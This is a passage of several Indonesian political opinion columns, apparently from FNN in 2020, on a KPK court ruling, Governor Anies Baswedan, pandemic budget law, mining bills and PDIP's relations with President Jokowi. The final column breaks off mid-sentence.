kemudian mulai masuk daftar untuk diperiksa oleh penyidik KPK. Anehnya, ada sejumlah nama yang muncul, termasuk yang di meja kerjanya petugas KPK menemukan tumpukan uang, belum juga ada kelanjutannya sampai sekarang. Padahal pemberi uangnya sudah ditahan. Ketika itu publik yakini pasti diadili, namun sampai sekarang tidak ada kabar beritanya dari KPK. Padahal tanpa dukungan keputusan KPK, mustahil peristiwa hukum yang dituduhkan bisa terjadi. Ini memang keanehan yang luar biasa, dan sangat mencederai rasa keadilan masyarakat. Ternyata antara kehebohan dan keanehan di proses penangkapan dan penyidikan, berlanjut ke proses peradilan dan pemberian putusan di tingkat banding. Kita tidak bisa memahami logika pengadilan tinggi dari substansi kasusnya. Padahal aktor yang melakukannya, jelas merupakan pidana korupsi yang serius. Dampak korupsi yang sangat serius itu berupa rusaknya birokrasi, khususnya sistem karir dan promosi jabatan pada sebuah departemen atau kementerian. Sehingga keputuskan untuk menjatuhkan hukuman satu tahun itu melukai rasa keadilan. Juga menghancurkan kredibilitas peradilan. Bahkan mungkin cukup alasan hukum untuk menduga ada penyalahgunaan atas kebebasan subtantif hakim dalam putusan itu. Semakin menjadi jelas, bila hukuman atas dua mantan Ketua Umum PPP yang berurusan dengan KPK itu bosa kita bandingkan. Dan jelas sangat berbeda. Walau kasusnya tidak sama. Tetapi yang ingin kita katakan bahwa kasusu itu ada dalam dua periode penguasa yang berbeda. Yang tidak kalah menarik adalah, apa yang dibuktikan, dan tidak ditariknya mereka yang bersekongkol untuk diproses hukum. Yang seperti ini sama, baik Ketum Pertama maupun yang Kedua. Ada yang masih lolos, dan belum ditarik KPK sebagai tersangka. Ini kebiasaan KPK yang sangat menarik utk dikaji. Kembali pada keanehan dalam putusan banding Pengadilan Tinggi Jakarta. Keanehan-keanehan putusan tersebut secara substansial dan juridis terlihat dari beberapa aspek. Pertama, putusan itu tidak sedikit pun mempertimbangkan nilai dan spirit politik hukum negara dalam pemberantasan korupsi. Apalagi bila dilihat dari kasus Ketum Pertama. Kedua, putusan itu tidak memiliki nilai yang membuat terhukum jera.Juga sangat tidak mendidik, sehingga jauh dari tujuan pemidanaan itu sendiri. Ketiga, putusan tersebut membuat kredibilitas pengadilan menjadi semakin rendah. Juga menjadikan reformasi badan peradilan terlihat cuma sebagai live service semata. Keempat, bila pengadilan tidak yakin bahwa terdakwa atau terpidana bersalah, mengapa tidak diputuskan bebas saja? Menyatakan bahwa dakwaan dan tuntutan penuntut umum tidak terbukti secara sah dan meyakin? Jika pertimbangan hukumnya masih berpegang pada “terdakwa terbukti bersalah sabagaimana tersebut dalam surat dakwaan dan tuntutan”, maka sungguh putusan itu merupakan ironi dan lelucon yang sangat merendahkan lembaga peradilan. Kelima, putusan itu merupakan anti klimaks yang membuka pintu utk mendesak dilakukannya audit atas semua putusan Pengadilan Tipikor yang diluar kepatutan dan rasa keadilan publik. Sebagai penutup, perlu kami ingatkan kepada semua anak bangsa bahwa, hancurnya suatu bangsa bermula dari tidak tegaknya hukum dan keadilan. Karena itu siapa pun yang mempermainkan hukum, mereka adalah orang-orang yang menghancurkan bangsa dan negara. Penulis adalah Advokat dan Mantan Wakil Ketua Komisi III DPR RI

Gubernur Anies Nggak Tegas?

By Tony Rosyid Jakarta FNN – Jum’at (01/05). Beberapa hari lalu, ada keributan di Thamrin City. Antara pedagang pemilik kios dengan pengelola (PPPSRS). Dalam konteks ini, pengelola mewakili pengembang. Karena Thamrin City masih dikelola oleh orang-orang utusan pengembang. Keributan dipicu oleh masalah pengambilan barang. Pemilik kios, karena aturan PSBB, tidak boleh dagang di kios. It's right. Karena itu, mereka mau ambil barang dan jualan online dari rumah. Tapi, dilarang oleh pengelola. Alasannya? Karena belum bayar iuran listrik dan air. Bagaimana bisa bayar listrik dan air, untuk makan saja susah, kata mereka. Justru dengan jualan online, agar ada pemasukan. Dengan pemasukan itu, nanti baru bisa bayar listrik dan air, kata para pedagang itu. Pengelola nggak mau tahu. Tutup telinga dan nggak peduli. Security dipasang di depan kios untuk hadang mereka. Ribut? Pasti. Para pedagang nggak kuasa melawan. Diantara pedagang itu, ada yang lapor ke Gubernur DKI, Anies Baswedan. Tepat tanggal 28 April, ba'da sahur, Gubernur dapat japrian. Di infokan terkait peristiwa itu kepada Gubernur. Dikirim juga video penghadangan pedagang oleh security. Apa jawab Gubernur? TL. Apa artinya TL? Tindak Lanjuti Paginya, Gubernur kirim petugas dari dinas perumahan. Dikawal beberapa mobil satpol PP. Meminta kepada pengelola Thamrin City. Pertama, agar memberikan kelonggaran waktu bagi para pedagang terkait iuran listrik dan air. Kedua, memberi ijin kepada para pedagang untuk ambil barang di kiosnya. Supaya mereka bisa jualan online. Clear! Pengelola pun nggak bisa berkutik. Apalagi, posisi pengelola sangat lemah. Sebab, sesuai dengan Pergub No 133 Tahun 2019, pengembang tak lagi berhak untuk menjadi pengelola Thamrin City. Harus diserahkan kepada pemilik apartemen dan kios. Posisi saat ini, PPPSRS Thamrin City sudah dibekukan oleh Pemprov DKI. Hanya tunggu waktu untuk diganti oleh warga Thamrin City. Kasus ini mengingatkan peristiwa di salah satu apartemen di Kemayoran. Hampir mirip. Saat itu, Gubernur dapat laporan bahwa listrik dan air di apartemen tersebut dimatikan oleh pengelola. Lagi-lagi, alasannya nggak jauh-jauh dari iuran. Dapat laporan itu, Anies telpon CEO apartemen. Anies bilang, "air dan listrik bagi warga apartemen ibarat nyawa. Kalau anda matikan, sama saja anda bunuh mereka”. “Sekarang, anda tinggal pilih. Hidupkan air dan listrik itu, atau semua ijin usaha anda di Jakarta saya matikan (alias dicabut)". Hari itu juga air dan listrik di apartemen itu hidup. Begitulah seharusnya seorang pemimpin bersikap. Pro kepada wong cilik. Mengayomi warganya yang lemah. Berani ambil risiko dengan menghadapi siapapun, termasuk para kapitalis kakap. Terutama meraka para mafia pengembang! Soal ketegasan itu tidak diukur dari tingginya volume suara dan atraksi di depan media. Tetapi, dengan sikap dan keputusan yang memihak kepada rakyat. Jika ini yang menjadi ukuran, maka siapa yang masih bisa mengatakan kalau Anies tidak tegas? Penyegelan reklamasi itu fakta, bukan sandiwara. Hingga hari ini, 13 pulau yang rencananya akan menghasilkan ratusan triliun itu gak bisa dibangun. Sogokan oleh oknum tertentu kepada Anies, mulai 50 miliar hingga 10 triliun, rupanya tak berhasil menjebol semangat nasionalisme dan idealisme Anies. Jika informasi ini benar, sikap Anies ini layak diapresiasi. Ketegasan itu bukan hanya diukur dari keberanian untuk mengambil keputusan yang berisiko. Tapi juga harus berani menolak kompromi. Berani menolak suap terhadap setiap keputusan yang berisiko itu. Begitulah yang seharusnya berani. Saatnya bangsa ini obyektif di setiap memberi penilaian terhadap para pemimpinnya. Katakan salah jika ada data untuk menyatakan itu salah. Kritik dan beri masukan yang konstruktif kepada mereka. Dan beranikan untuk mengakui kebenaran itu kalau faktanya memang benar. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Ternyata Perpu No. 1 Tahun 2020 Tidak Lagi Diperlukan

“Di APBN 2020, ada pos anggaran untuk subsidi BBM, lirik dan Gas LPG. Jika ditambah dengan subsidi untuk solar dan minyak tanah, totalnya antara Rp. 140-160 triliun. Seratus persen pos anggaran subsidi energi tersebut bisa saja dialihkan untuk menggulangi pandemi Corona. Pemerintah tinggal meminta persetujuan ke DPR saja, agar dirubah di APBN Perubahan. Dengan demikian, tidak lagi memerlukan Perppu No. 1/2020 yang cacat formil dan materil tersebut ”. By Salamuddin Daeng Jakarta FNN – Kamis (30/04). Tidak semua sektor ekonomi terdampak korona. Ada juga sektor ekonomi nasional yang memperoleh dampak positif dari wabah yang melanda dunia ini. Dampak positif bagi Indonesia tersebut datang dari sektor energy, yakni migas dan listrik. Menurunnya harga minyak mentah, BBM, LPG dan harga energi primer batubara di pasaran dunia juga mendatangkan berkah. Telah membawa keuntungan besar bagi upaya-upaya penghematan. Bahkan bisa dijadikan kebijakan untuk menghilangkan alokasi anggaran untuk subsidi energi dalam APBN. Selama ini defisit migas sangat besar karena harga minyak tinggi. Subsidi APBN untuk BBM, Gas LPG dan lisrik sangat besar. Namun sekarang defist itu bisa berkurang sangat significant karena harga minyak sudah menurun lebih rendah 70 % lebih dibandingkan asumsi APBN 2020. Harga impor bahan baku LPG juga sudah menurun lebih dari 50%. Dengan demikian, subsidi APBN untuk BBM dan LPG sekarang menjadi tidak ada lagi atau 0 (nol). Sebaliknya, sektor energi dalam negeri bisa nabung atau menumpuk stok BBM dan LPG impor dalam jumlah besar. Juga dapat menikmati keuntungan besar dari selisih harga impor dengan harga jual dalam negeri sebagaimana yang dilakukan Pertamina saat ini. Demikian juga dengan subsidi listrik, juga bisa 0 (nol). Ini disebabkan harga energi primer yang sangat murah sekarang, terutama harga batubara yang merupakan komponen biaya listrik terbesar. Harga batubara juga sudah menurun lebih rendah lebih dari 50 persen dibandingkan harga batubara Domestik Market Obligation (DMO) atau pun Harga Batubara Acuan (HBA) yang selalu dijadikan patokan harga listrik dan subsidi listrik di APBN. Dengan demikian, menjadi tidak benar langkah pemerintah menerbitkan Perpu No 1 Tahun 2020 dengan nama yang sangat di dunia itu, hanya karena alasan darurat ekonomi dan keuangan akibat wabah korona. Karena sektor paling vital yang selama ini selalu dipandang selalu membebani APBN yakni subsidi BBM, Gas LPG dan listrik, sekarang justru sangat diuntungkan. Pada wabah korona sekarang ini, perusahaan BUMN migas dan listrik dapat menikmati BBM, LPG impor dengan sangat murah. Harga batubara murah juga sangat murah. Dengan kondisi ini pemerintah dapat menghemat APBN dalam jumlah sangat sangat besar pula. Anggaran yang selama ini dialokasikan untuk subsidi BBM, LPG dan listrik dapat digunakan untuk melawan pandemi Corona. Jika mengacu kepada APBN 2019, maka realisasi subsidi secara keseluruhan mencapai angka Rp. 216,8 triliun. Dari jumlah tersebut, subsidi untuk energi BBM solar sebesar Rp. 31,04 triliun. Subsidi untuk LPG sebesar Rp. 69,4 triliun, dan subsidi listrik sebesar Rp 59,3 triliun. Total subsidi untuk solar, LPG dan listrik Rp. 160 triliun. Jumlah itu belom ditambah dengan subsidi untuk minyak tanah dan premium yang datanya tidak ada dalam APBN 2019. Realisasi alokasi anggaran subsidi energi dalam pada APBN 2020 bisa hilang sama sekali. Sebagaimana diketahui, dalam APBN 2020 Pemerintah dan DPR mengalokasikan anggaran untuk subsidi dalam APBN 2020 senilai Rp. 199,72 triliun. Dari jumlah tersebut, subsidi untuk sektor energi masing masing untuk subsidi solar senilai Rp. 21 triliun, subsidi LPG sebesar Rp. 54,4 triliun, dan subsidi listrik Rp. 62,2 trliun. Jika ditambah dengan subsidi untuk premium, dan minyak tanah kalau masih ada, maka seluruh subsidi energi tersebut sekarang ini sebesar Rp 140 triliun, sudah tidak lagi diperlukan. Penyebabnya, karena harga minyak mentah, BBM impor dan LPG impor yang ada sekarang sudah sangat murah. Malah sebaliknya, perusahaan BUMN migas seperti Pertamina bisa mencetak untung besar. Jadi, untuk mengatasi korona, pemerintah tidak lagi memerlukan Perpu darurat. Sebab angaran untuk mengatasi korona bisa diambil dari pengalihan satu pos anggaran subsidi saja. Jumlahnya juga sangat pantastis dan besar. Mencapai sekitar Rp 140-150 triliun. Pemerintah sukup hanya dengan meminta persetujuan DPR di APBN Perubahan, untuk mengalihkan anggaran untuk subsidi lisrik atau subsidi LPG atau subsidi solar + premium+ minyak tanah, yang memang tidak lagi diperlukan untuk tahun anggaran 2020. Singkatnya, dengan kebijakan itu, maka seluruh kompnen subsidi pada komoditi energi tidak lagi diperlukan. Semunya bisa dialihkan ke upaya-upaya perang melawan pandemi Corona. Sebagaimana kita ketahui bahwa pemerintah telah mengalokasikan dana untuk menghadapi wabah korona melalui Perpu No 1 Tahun 2020 senilai Rp. 70 triliun. Dasarnya, pemerintah berasumsi bahwa korona menciptakan krisis keuangan, sehingga akan menggelontorkan dana Rp. 402 triliun untuk penyelamatan sitem ekonomi nasional. Padahal kebijakan ini hanya bohong-bohongan saja. Selain itu, dengan alasan wabah korona berdampak pada ekonomi, pemerintah akan menambah utang baru senilai Rp. 1.006 triliun sesuai dengan Perpres No. 54 Tahun 2020, yang merupakan pelaksanaan dari Perpu No. 1 Tahun 2020. Padahal pemerintah bisa menggunakan mekanisme sebagaimana yang diatur UUD 1945 dan UU Keuangan Negara sebagaimana biasanya dalam menghadapi wabah corona. Tidak memerlukan Perpu darurat yang nyata-nyata cacat formil dan materil itu. Penulis adalah Peniliti Pada Asosiasi Ekonmi dan Politik Indonesia (AEPI)

DPR Lagi Siapkan Mahkota Untuk Perusahaan Minerba?

By Margarito Kamis Jakarta FNN – Kamis (30/04). Presiden, telah mengambil sikap atas isu ketenagakerjaan dalam RUU Omnibus Cipta Kerja. Sikapnya jelas. Klaster tenaga kerja ditangguhkan pembahasannya. Bagus? Boleh jadi iya. Bagaimana realisasinya? Apakah Presiden telah mengirim surat resmi ke DPR memberitahukan sikapnya itu? Wallahu a’alam. Hanya Presiden, DPR dan Allah Subhanahu Wata’ala yang tahu. Pada saat yang sama, DPR juga sedang membahas RUU Perubahan UU No. 4 Tahun 2009 Tentang Minerba. Entah mengapa harus diubah? Tetapi dapat diperkirakan perubahan ini dimaksudkan untuk diselaraskan dengan konsep-konsep baru. Entah bagaimana konsepnya? Apakah ada di dalam RUU Cipta Kerja? Ubah Konsep Dua RUU telah teridentifikasi memberikan karpet mereh untuk korporasi. Terlihat di sini, hidupnya tabiat lama. Negara selalu kedodoran berhadapan dengan korporasi. Kalau negara terlihat tangguh, itu dicapai dengan susah payah. Entah kedodoran atau tangguh, tetapi perubahan konsep penguasaan PT. Freeport di Papua dan Newmon di NTB, menarik. Tetapi artikel ini tidak diorientasikan untuk berbicara tentang divestasi dan persentase saham dari kedua korporasi itu. Point artikel ini adalah adanya kenyataan “divestasi” kedua korporasi, yang menghasilkan pemerintah dan pemerintah daerah “dapat memiliki saham” pada kedua korporasi itu. Itu point besarnya. Apakah konsep ini dapat dikonsolidasi secara lebih exprecif verbis dalam kerangka konstitusi, dan diatur dalam kedua RUU itu? Saya berpendapat harus dikonsolidasi. Kerangka dasarnya pasal 33 UUD 1945. Pasal ini harus diberi makna kekayaan alam yang terkandung di dalam perut bumi seperti “nikel, batubara, biji besi, emas, dan uranium” sudah dengan sendirinya atau demi hukum bernilai dan bersifat sebagai modal, saham. Mengapa harus diberi nilai dan sifat sebagai modal? Nickel, batu bara, biji besi, uranium dan emas, itulah duit yang sebenarnya. Nilainya meningkat berkali lipat setelah diolah, diekplorasi dan diproduksi, dalam arti diubah dengan sentuhan teknologi. Nalarnya, penanaman modal korporasi untuk menambang semua itu, tidak lebih dari sekedar melipatgandakan nilai modal itu. Politisi senayan harus ingat, bahwa nickel, batubara, biji besi, uranium, tembaga dan emas itu meskipun masih tependam di dalam tanah. Belum disentuh oleh tekonoligi. Namun telah dihitung oleh korporasi sebagai kekayaan dari perusahaan. Otomatis nilai kekyaan perusahaan sudah naik berlipat-lipat kali. Ratusan kali, bahkan ada yang sampai ribuan kali naiknya. Setelah mengantongi izin dari negara, korporasi segara melakukan rekayasa pembukuan untuk menjual sebagain sahamnya. Biasanya antara 15% - 35% ke pasar saham di berbagai belahan dunia. Tambangnya belom diproduksi, namun korporasi sudah mendapatkan duit besar. Bisa sampai triliunan rupiah dari pasar saham. Konsekuensinya, pemerintah dan pemerintahn daerah tidak perlu mengeluarkan uang untuk dijadikan saham pada korporasi yang berinventasi di tambang. Sebab nickel, batu bara, biji besi, emas, tembaga dan uranium itu, harus dinilai secara pars pro toto sebagai modal atau saham. Modal ini yang menjadi dasar negara untuk ikut dalam menejemen korporasi. Jumlah saham dan bidang menejemen dapat dinegosiasikan. Ini bukan perkara yang susah. Membelakangi dunia atau apapun yang sama. Ini perkara sederhana. Tinggal mau atau tidak mau saja. Ini soal kepercayaan diri. Agar kepercayaan diri muncul dan meningkat dalam memahami landscap politik investasi. Politisi senayan hanya perlu sedikit lelah memupuk kemauan mendalami pengetahuan sejarah perebutan sumberdaya alam. Khususnya minyak di berbagai belahan dunia. Tidak lebih. Memang lebih mudah memanjat gunung berbatu rijang dan terjal daripada meminta politisi menyelami sejarah. Tetapi sesulit itu sekalipun, politisi senayan disarankan bersedia mengambil langkah berisiko. Di puncak gunung itu tersedia panorama sikap investor yang mati-matian membela konsep “royalty”. Konsep itu berinduk pada “keserakahan.” Bukan efisiensi, dan bukan pula efektifitas. Sama sekali bukan. Tabiat Corporasi Bagaimana menemukan “keserakahan” sebagai fundasi konsep royalti itu? Orang-orang yang di senayan harus tahu mengapa Inggris dan Perancis membagi-bagi kekuasaan Turki Utsmania? Dan setelah dibagi-bagi, semua negara baru pecahan Turki itu berada dibawah Kendali mereka. Orang-orang yang di senayan harus tahu mengapa ada “Kesepakatan San Marino” pada tahun 1919”? Kesepakatan yang mengatur Turkis Petrolium harus mendapat 20% ditiadakan, setelah Mesoptamia berubah menajdi Irak. Tipikal yang seperti itulah yang menandai sejarah Grup Standard Oil, milik Rockeffeller. Satu kalimat pendek dan menarik Rockeffeler yang dikutip Anthony Sampson pada saat menghadapi protes terbuka masyarakat terhadap konsep “trust” yan diprakarsainya. Rockeffeler berkata “semakin kami maju sambil terus meraih keberhasilan dan terus membisu, semakin kami dikecam”. Saya, kata Rockeffeler selanjutnya, “tidak akan pernah berhenti menyesali sewaktu mengenag kembali serangan besar pertama terhadap perusahaan milik saya tahun 1872”. Hebat, Rockeffeler yang diserang, justru memprakasai gerakan anti-trust. Taktik ini tercium oleh Pemerintah Federal. Akibatnya, pemerintah meningkatkan serangan. Ini tonggak penting yang bersejarah sebagai serangan beralasan besar pertama oleh Pemerintah Federal terhadap monopoli korporat. Kenyataannya korporasi kelompok Standar Oil terlanjur besar. Kekuataan mereka hampir melampaui kekuasaan pemerintah negara berdaulat. Inilah yang dilukiskan oleh Charles Francis Adam bahwa pada tahun 1871 korporasi-korporasi menyatakan perang, mengisolasi perdamaian, mengerdilkan pengadilan, badan legislatif dan negara berdaulat. Semuanya patuh pada keinginan mereka. Lalu tibalah Amerika tahun 1890. Pada tahun ini melalui prakasa Senator John Sherman dibentuklah UU Anti-Trust. Disambut dan ditandangani oleh Presiden Horison. Tetapi materi sengaj dibuat samar. Melarang “setiap kontrak, penggabungan atau konspirasi untuk menghalangi perdagangan. Kenyataannya, kata Antony Sampson UU ini dirancang lebih untuk menenangkan publik daripada untuk mengambil tindakan efektif. Dan penetapannya diikuti periode panjang tanpa tindakan federal. Anti-trus, kata Sampson lebih jauh, sedari awal memiliki gonggongan yang lebih buruk daripada gigitannya. Kelompok Standard Oil, terus merajelela. Mereka ada di hampir seluruh dunia. Caranya macam-macam. Tetapi kartel muncul sebagai bentuk intinya. Mereka tidak segan menekan pesaing. Itulah makna kesediaan Inggris memberi jalan kepada Standar Oil memperoleh kesempatan memasuki Arab Saudi. Mengapa mereka harus membentuk kartel? Persoalan kartel ini akan memberi informasi berharga dalam memahami kapitalisme praktis. Tahun 1949 Federal Trade Commission menyelidiki kesepakatan-kesepakatan Internasional yang dibuat perusahaan-perusahaan minyak. Investigasi berlangsung selama satu tahun, 1951-1952. Temuannya jelas. Tetapi menariknya laporan itu tidak diumumkan oleh Federal Trade Commission, melainkan Senator John Sparkman. Laporan itu, seperti diungkapkan oleh Sampson menyediakan tuturan lengkap pertama tentang kesepakatan-kesepakatan kartel yang dibuat tujuh saudari, sejak kesepakatan Achnacarry 1928. Laporan itu juga memaparkan detail garis merah dan analisis terperinci pengaturan pembagian harga yang pelik di seluruh dunia. Intinya ketujuh perusahaan itu menguasai semua daerah penghasil minyak utama di luar Amerika. Semua kilang di luar negeri, paten dan teknologi penyulingan. Mereka juga membagi-bagi pasar dunia diantara mereka. Juga berbagi jalur pipa dan tanker di seluruh dunia. Laporan ini akhirnya akan ditindaklanjuti oleh Jaksa Agung James McGranery. Tetapi menariknya, muncul perdebatan sengit mengenai rencana itu. Departemen Pertahanan dan Departemen Dalam Negeri berada dibalik perdebatan, dalam arti mendukung operasi ketujuh perusahaan yang diivestigasi Jaksa Agung itu. Inti argumentasi mereka adalah satu, tuntutan pidana kepada ketujuh perusahaan itu akan jauh lebih merusak. Menurut mereka, hal itu dapat mendorong negara-negara lain, untuk percaya bahwa “kapitalisme bersinonim dengan eksploitasi yang buas.” Argumentasi ini jelas berseberangan dengan argumentasi Jaksa Agung. Sebab menurut Jaksa Agung ketujuh perusahaan itu jauh dari kepentingan keamanan nasional. Mereka, kata Jaksa Agung selanjutnya, sangat merusak keamanan nasional. Namun kasus ini berakhir manis bagi ketujuh perusahaan, seiring naiknya Eishenhower sebagai Presiden, dan John Foster Dulles sebagai Menlu. Naiknya mereka mengubah haluan politik Amerika. Amerika mengalihkan politik luar negerinya ke persoalan komunisme Internasional. Korporasi mengatur dunia, bahkan perang sebagaimana dijelaskan oleh Charles di atas, beralasan. Mengapa? Pernyataan yang mirip muncul disisi lain secara signifikan oleh Charlote Dennet. Charlote Dennet, Jurnalis investigative dan Pengacara, putri Daniel C. Dennet (aparat OSS dan Center of Inteligent Group) yang ditugaskan di Timur Tengah, mengidentifikasi bahwa menurut Depertemen Pertahanan Amerika, perang dunia kedua pada dasarnya adalah perang dengan dan untuk minyak. Menurut opini mereka minyak adalah salah satu senjata terpenting dalam konflik militer modern. Lebih jauh Denet menulis, dengan gaya yang lebih menyentak di hadapan para anggota kongres, Presiden American Petroleum Institute menyatakan pada November 1943 “Minyak adalah amunisi”. Dialah rahasia di belakang senjata-senjata rahasia dalam perang ini. Kita, katanya, tidak akan terbang menuju kemenangan dalam perang ini. Kita secara harfiah berperang dalam setiap jengkal dengan minyak. Begitulah sekelumit sepak terjang korporasi mengelabui banyak pihak. Sayangnya, kenyataan ini terlalu sering dikesampingkan banyak ilmuan, sehingga mereka ikut menari mengikuti irama tipu-tipu korporasi. Itulah pulalah salah satu penyebab kegagalan mengenali mozaik kecil yang tertera dalam perjanjian “San Morino” yang mengatur Turkish Oil Petrolium semasa Turki Usmania memperoleh jatah 20% saham. Perburuan Tambang Nickel Minyak adalah satu hal. Sedangkan nikel, batubara, uranium, biji besi, tembaga dan emas adalah hal lain. Tetapi soalnya mengapa korporasi di berbagai belahan berlomba tancap gas memperoleh konsesi untuk isi bumi non minyak itu? Mengapa ratu Victoria harus mengirim 400.000 pasukannya, terbanyak pada waktunya menyukeskan perang Boer di Afrika Selatan? Sekadar untuk kolonisasi? John Coleman memberi uraian tentang kenyataan jauh sesudah Ratu Victoria. Orang yang dari gerakan jarinya melahirkan hak hukum Royal Virginia Company dan East India Comopany, saudara kembarnya Vereenigde Oostindische Compagnie. Dalam kasus Afrika Selatan, dia menunjuk Ernes Oppenheimer dan De Beers. Ernest Oppenhenimer pada tahun 1919 telah membentuk Consolidated Diamon Mines (CDM) Afrika Barat Daya, degan mula-mula membentuk Anglo-American Corporation of South Africa di London. Sepuluh tahun kemudian, tepatnya tahun 1929, Oppenheimer telah menjadi kekuatan besar monopoli intan. Oppehenimer lalu memasukan De Beers ke dalam Anglo American Company, setelah dia menyetor sejumlah persen saham. Tahun 1937, De Beers sudah menimbun sekitar 40 juta karat. Pasokan untuk waktu 20 tahun. Karena terancam pailit, dia memutuskan menciptakan pasar tersendiri. Dia mengutus anaknya ke Amerika dan memulai kampanye empat C (Cut, Color, Clarity and Carat). Sukses. Dan muncullah sebuah kebiasaan baru, cincin pertunangan dari intan, dengan slogan “sebutir intan bertahan selamanya”. Mengapa batubara dan nickel terus ramai ditambang di Indonesia? Tidakkah semuanya penting untuk berbagai keperluan strategis? Kalaupun mobil listrik belum menggila di jalanan, apakah nickel-nickel itu tidak bermanfaat untuk, misalnya baterei alat komunikasi dan sejenisnya? Tidakkah itu, bermakna bahwa nickel, kini dan akan datang, menjadi komoditas strategis untuk berbagai industri? Bila ya, siapa yang memiliki keberanian untuk memastikan bahwa “sekarang korporasi telah menyepelekan isi perut bumi itu?” Bila tak berfaedah, mengapa korporasi-korporasi bergairah menambang? Korporasi-korporasi itu adalah PT. Indonesia Morowali Industrial Park di Morowali, Provinsi Sulawesi Tengah. Thingsan dari Tiongkok muncul sebagai salah satu investornya. Nama Thingsan juga muncul pada PT. Indonesia Weda Industrial Park di Weda, Halmahera Tengah, Maluku Utara. Pola ini juga muncul pada PT Indonesia Weda Industrial Park (IWIP). Tetapi nama Thingsan sebagai investor tidak muncul pada PT. Virtue Dragon Nickel Industrial Park (VDNIP) di Konawe Sulawesi Tenggara. Politisi di DPR yang sedang mengurusi RUU Cipta Kerja dan RUU Perubahan UU Minerba, memang bukan bangsawan khas Inggris abad ke-17. Mereka tidak bisa dicurigai memiliki tabiat seperti Nelson Aldrich, senator yang menjadi kaki tangan kelompok Wall Street yang menggolkan The Federal Reserve Act. Juga tak punya tabiat seperti John Sherman yang merancang Anti-Trus Act, yang tak bergigi itu. Para politisi senayan dapat dititipi rindu dari bumi peertiwi ini untuk agar tidak usah mengubah konsep IUP yang telah ada. Tetapi pada saat yang bersamaan, diatur agar bangsa Indonesia memiliki saham pada setiap korporasi yang diberi IUP tersebut. Itu saja sudah lebih dari cukup. Negara taidk usah menyetorkan uang untuk tujuan mendapatkan saham di perusahaan tambang. Cukup dengan nickel, tembaga, emas, biji besi, uranium dan batubara yang ada di dalam perut bumi negeri ini yang dikonversi menjadi saham. Tanpa konsep ini, dua RUU itu akan menjadi “mahkota kejayaan untuk korporasi”. Semoga bermanfaat. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

PDIP Bersiap Buka Pintu Darurat?

Oleh Hersubeno Arief Jakarta, FNN - Ada tanda-tanda yang cukup kuat PDIP sedang bersiap membuka pintu darurat (emergency exit). Jika pesawat terpaksa harus crash landing, mendarat darurat. Mereka bisa segera lompat dengan selamat! PDIP memang belum sepenuhnya bersiap melompat. Tapi mereka sudah membuat ancang-ancang. Tahapan menuju langkah tersebut telah dipersiapkan. Sedikit demi sedikit mulai dijalankan. Dimulai dengan pernyataan dari Masinton Pasaribu. Anggota Komisi III DPR RI itu secara mengejutkan menyebut Perppu No 1 Tahun 2020 merupakan kepentingan nyata oligarki. “Ini bukan Perppu. Ini sabotase konstitusi,” kecamnya dalam melalui cuitan di akun twitternya. Masinton tidak menyebut secara spesifik siapa yang dia maksud dengan oligarki.Sebagai pengusung utama, bahkan pemegang saham mayoritas pemerintahan Jokowi, publik memahami bila ada oligarki, maka PDIP adalah pilar dan bagian utama oligarki itu sendiri. Siapa yang dimaksud dengan oligarki oleh PDIP semakin jelas ketika Arteria Dahlan menyatakan kekhawatirannya, Perppu akan menciptakan “presiden di atas presiden.” “Ada ‘penguasa’ yang lebih berkuasa dari Presiden Joko Widodo,” ujar politisi PDIP itu dalam Rapat Kerja dengan Ketua KPK Firli Bahuri. Arteria curiga ada yang coba memanfaatkan sitausi pandemi untuk mengeruk keuangan negara melalui Perppu. Dalam Perppu N0 1 Tahun 2020 pemerintah diberi kewenangan menggunakan dana sekitar Rp 405,1 Trilyun tanpa ada pengawasan. Para pengguna juga tidak dapat dipidana bila terjadi salah penggunaannya. Dengan dana sebesar itu Arteria curiga ada orang atau kelompok yang ingin menguasai Indonesia secara instan. Tanpa kampanye, tanpa modal bisa menjadi Presiden Indonesia. “Pak ketua kita harus jaga Jokowi agar tidak tersandera. Yang bawa mobil orang lain, kalau nabrak dia yang bertanggung jawab,” ujarnya mengingatkan Ketua KPK. Soal penggunaan anggaran perang melawan Covid-19 ini sebelumnya sempat memunculkan polemik antara anggota DPR RI Adian Napitupulu dengan Meneg BUMN Erick Thohir. Adian mempertanyakan siapa yang dimaksud Erick sebagai mafia alat kesehatan (alkes). Adian curiga jangan-jangan dia termasuk yang dituding Erick. Erick sebelumnya menyatakan ketergantungan Indonesia pada alkes impor memberi peluang mafia beraksi. Mafia mendominasi impor alkes. (PDIP ditinggalkan) Berbagai pernyataan politisi muda PDIP di Senayan ini menunjukkan adanya gesekan dan perbedaan kepentingan antara PDIP dengan Jokowi.Pertama, PDIP sebagai pemegang saham mayoritas Jokowi ternyata memang benar, tidak menjadi pengendali pemerintahan Jokowi. Ada orang atau kelompok yang menjadi pengendali pemerintahan Jokowi. Soal ini sesungguhnya sudah ditangkap publik dengan melihat susunan kabinet kabinet Jokowi Jilid II. PDIP tidak mendapat pos yang cukup penting dan basah. Benar PDIP mendapat jatah kursi paling banyak. Dari 16 kursi jatah Parpol, PDIP menempatkan lima orang kadernya. Mereka adalah Menseskab Pramono Anung, Yasonna Laoly (Menkum HAM), Tjahjo Kumolo (Menpan RB), Juliari Batubara (Mensos), dan Gusti Ayu Bintang Darmavati (Menteri PPPA) . Kalau mau dilihat dari sisi kedekatan secara politis, PDIP juga mendapat pos Jaksa Agung. Posisi ini dijabat ST Burhanuddin adik kandung politisi PDIP TB Hasanuddin. Posisi menteri utama atau yang juga dikenal sebagai Trium Virat, Menhan, Menlu dan Mendagri dijabat figur non PDIP. Mereka lah yang akan mengambil alih kendali pemerintahan, bila Jokowi dan Ma’ruf Amien udzur dan berhalangan tetap. Bukan kader PDIP. PDIP ternyata juga gagal menyingkirkan dan menggantikan Luhut Binsar Panjaitan yang selama ini dianggap sebagai Super Minister. Budi Gunawan orang dekat Ketua Umum PDIP Megawati ternyata harus cukup puas dengan posisi lamanya sebagai Kepala BIN. Padahal Budi Gunawan berperan penting dan sangat berjasa atas kemenangan Jokowi. Budi Gunawan pula yang berhasil mempertemukan Jokowi dengan Prabowo Subianto. Luhut gagal berkali-kali membujuk Prabowo. Kedua, PDIP tampaknya tidak dilibatkan, tidak kebagian bancakan dana Covid-19. Bahkan dibandingkan seorang Stafsus milineal yang kebagian dana Pra Kerja Rp 5,6 Triliun pun mereka kalah. Bukan hanya curiga, jangan-jangan sudah punya bukti, ada yang memanfaatkan dana Covid-19 untuk kampanye gratis. Polemik antara Adian dengan Erick Thohir 